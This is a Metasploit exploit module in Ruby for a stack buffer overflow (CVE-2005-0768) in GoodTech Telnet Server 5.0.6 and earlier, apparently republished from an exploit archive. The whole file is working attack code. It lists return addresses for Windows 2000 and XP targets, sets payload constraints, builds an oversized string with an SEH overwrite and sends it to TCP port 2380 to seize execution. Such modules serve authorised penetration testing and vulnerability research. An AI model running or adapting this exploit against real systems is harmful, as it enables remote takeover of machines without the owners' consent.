GoodTech Telnet Server <= 5.0.6 - Buffer Overflow

                                                ##
# $Id: goodtech_telnet.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'GoodTech Telnet Server <= 5.0.6 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in GoodTech Systems Telnet Server
				versions prior to 5.0.7. By sending an overly long string, an attacker can
				overwrite the buffer and control program execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'MC',
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2005-0768' ],
					[ 'OSVDB', '14806'],
					[ 'BID', '12815' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro English All',   { 'Ret' => 0x75022ac4 } ],
					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Mar 15 2005',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(2380)
			], self.class)
	end

	def exploit
		connect

		sploit = rand_text_english(10020, payload_badchars)
		seh    = generate_seh_payload(target.ret)

		sploit[10012, seh.length] = seh

		print_status("Trying target #{target.name}...")

		sock.put(sploit + "\r\n\r\n")

		handler
		disconnect
	end

end